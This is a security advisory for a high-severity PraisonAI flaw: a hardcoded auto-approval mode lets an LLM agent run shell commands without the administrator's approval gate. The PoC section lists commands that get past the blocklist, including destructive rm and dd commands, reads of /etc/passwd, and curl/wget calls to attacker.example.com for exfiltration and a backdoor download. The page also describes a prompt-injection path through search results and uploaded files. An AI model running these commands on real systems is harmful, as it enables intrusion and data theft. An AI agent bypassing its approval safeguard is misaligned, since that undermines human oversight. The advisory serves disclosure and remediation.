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HIGH severity

GHSA-qwgj-rrpj-75xm praisonai

HIGH

GHSA-qwgj-rrpj-75xm is a high-severity (CVSS 8.8) CWE-863 vulnerability in praisonai. A fix is available for praisonai — see the affected versions and patch details below.

PraisonAI: Hardcoded `approval_mode="auto"` in Chainlit UI Overrides Administrator Configuration, Enabling Unapproved Shell Command Execution

Also known asCVE-2026-56075
Published
Apr 10, 2026
Updated
Jul 8, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 18, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-qwgj-rrpj-75xm.

EPSS Exploitation Probability

via FIRST.org ↗
0.7%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs52th percentile — riskier than 52% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-qwgj-rrpj-75xm plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐍praisonai

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The Chainlit UI modules (chat.py and code.py) hardcode config.approval_mode = "auto" after loading administrator configuration from the PRAISON_APPROVAL_MODE environment variable, silently overriding any "manual" or "scoped" approval setting. This defeats the human-in-the-loop approval gate for all ACP tool executions, including shell command execution via subprocess.run(..., shell=True). An authenticated user can instruct the LLM agent to execute arbitrary single-command shell operations on the server without any approval prompt.

Details

The application has a well-designed approval framework supporting auto, manual, and scoped modes, configured via the PRAISON_APPROVAL_MODE environment variable and loaded by ToolConfig.from_env() at interactive_tools.py:81-106.

However, both UI modules unconditionally override this after loading:

chat.py:156-159:

config = ToolConfig.from_env()       # reads PRAISON_APPROVAL_MODE=manual
config.workspace = os.getcwd()
config.approval_mode = "auto"        # hardcoded override, ignoring admin config

code.py:155-158:

config = ToolConfig.from_env()
config.workspace = os.environ.get("PRAISONAI_CODE_REPO_PATH", os.getcwd())
config.approval_mode = "auto"        # same hardcoded override

This flows to agent_tools.py:347-348 in the acp_execute_command function:

auto_approve = runtime.config.approval_mode == "auto"   # always True
approved = await orchestrator.approve_plan(plan, auto=auto_approve)

The plan is auto-approved without user confirmation and reaches action_orchestrator.py:458:

result = subprocess.run(
    step.target,
    shell=True,           # shell execution
    capture_output=True,
    text=True,
    cwd=str(workspace),
    timeout=30
)

Command sanitization is insufficient. Two blocklists exist:

  1. _sanitize_command() at agent_tools.py:60-86 blocks: $(, `, &&, ||, >>, >, |, ;, &, \n, \r
  2. _apply_step() at action_orchestrator.py:449 blocks: ;, &, |, $, `

Both only target command chaining/substitution operators. Single-argument destructive commands pass both blocklists: rm -rf /home, curl http://attacker.example.com/exfil, wget, chmod 777 /etc/shadow, python3 -c "import os; os.unlink('/important')", dd if=/dev/zero of=/dev/sda.

PoC

Prerequisites: PraisonAI UI running (praisonai ui chat or praisonai ui code). Default credentials not changed.

# Step 1: Start the Chainlit UI
praisonai ui chat

# Step 2: Log in with default credentials at http://localhost:8000
# Username: admin
# Password: admin

# Step 3: Send a chat message requesting command execution:
# "Please run this command for me: cat /etc/passwd"

# The LLM agent calls acp_execute_command("cat /etc/passwd")
# _sanitize_command passes (no blocked patterns)
# approval_mode="auto" → auto-approved at agent_tools.py:347-348
# subprocess.run("cat /etc/passwd", shell=True) executes at action_orchestrator.py:458
# Contents of /etc/passwd returned in chat

# Step 4: Demonstrate the override of admin configuration:
# Even with PRAISON_APPROVAL_MODE=manual set in the environment,
# chat.py:159 overwrites it to "auto"
export PRAISON_APPROVAL_MODE=manual
praisonai ui chat
# Commands still auto-approve because of the hardcoded override

Commands that bypass sanitization blocklists:

  • rm -rf /home/user/documents — no blocked characters
  • chmod 777 /etc/shadow — no blocked characters
  • curl http://attacker.example.com/exfil — no blocked characters
  • wget http://attacker.example.com/backdoor -O /tmp/backdoor — no blocked characters
  • python3 -c "__import__('os').unlink('/important/file')" — no blocked characters

Impact

  • Arbitrary command execution: An authenticated user (or attacker with default admin/admin credentials) can execute any single shell command on the server hosting PraisonAI, subject only to the OS-level permissions of the PraisonAI process.
  • Confidentiality breach: Read arbitrary files accessible to the process (/etc/passwd, application secrets, environment variables containing API keys).
  • Integrity compromise: Modify or delete files, install backdoors, tamper with application code.
  • Availability impact: Kill processes, consume disk/memory, delete critical data.
  • Administrator control undermined: Even administrators who explicitly set PRAISON_APPROVAL_MODE=manual to require human approval have their configuration silently overridden, creating a false sense of security.
  • Prompt injection vector: Since the agent also processes external content (web search results via Tavily, uploaded files), malicious content could trigger command execution through the auto-approved tool without direct user intent.

Recommended Fix

Remove the hardcoded override and respect the administrator's configured approval mode. In both chat.py and code.py:

# Before (chat.py:156-159):
config = ToolConfig.from_env()
config.workspace = os.getcwd()
config.approval_mode = "auto"  # Trust mode - auto-approve all tool executions

# After:
config = ToolConfig.from_env()
config.workspace = os.getcwd()
# Respect PRAISON_APPROVAL_MODE from environment; defaults to "auto" in ToolConfig
# Administrators can set PRAISON_APPROVAL_MODE=manual for human-in-the-loop approval

Additionally, strengthen _sanitize_command() to use an allowlist approach rather than a blocklist:

import shlex

ALLOWED_COMMANDS = {"ls", "cat", "head", "tail", "grep", "find", "echo", "pwd", "wc", "sort", "uniq", "diff", "git", "python", "pip", "node", "npm"}

def _sanitize_command(command: str) -> str:
    # Existing blocklist checks...
    
    # Additionally, check the base command against allowlist
    try:
        parts = shlex.split(command)
    except ValueError:
        raise ValueError(f"Could not parse command: {command!r}")
    
    base_cmd = os.path.basename(parts[0]) if parts else ""
    if base_cmd not in ALLOWED_COMMANDS:
        raise ValueError(
            f"Command {base_cmd!r} is not in the allowed command list. "
            f"Allowed: {', '.join(sorted(ALLOWED_COMMANDS))}"
        )
    
    return command

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIpraisonaiall versions4.5.128pip install --upgrade 'praisonai==4.5.128'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for praisonai, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update praisonai to 4.5.128 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-qwgj-rrpj-75xm is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-qwgj-rrpj-75xm can be triaged on real exposure rather than presence alone.

Tailored to GHSA-qwgj-rrpj-75xm. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary The Chainlit UI modules (`chat.py` and `code.py`) hardcode `config.approval_mode = "auto"` after loading administrator configuration from the `PRAISON_APPROVAL_MODE` environment variable, silently overriding any "manual" or "scoped" approval setting. This defeats the human-in-the-loop approval gate for all ACP tool executions, including shell command execution via `subprocess.run(..., shell=True)`. An authenticated user can instruct the LLM agent to execute arbitrary single-command shell operations on the server without any approval prompt. ## Details The application has a well-d
O3 Security · Impact-Aware SCA

Is GHSA-qwgj-rrpj-75xm in your dependencies?

O3 Security finds GHSA-qwgj-rrpj-75xm across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-qwgj-rrpj-75xm: praisonai (High 8.8) | O3 Security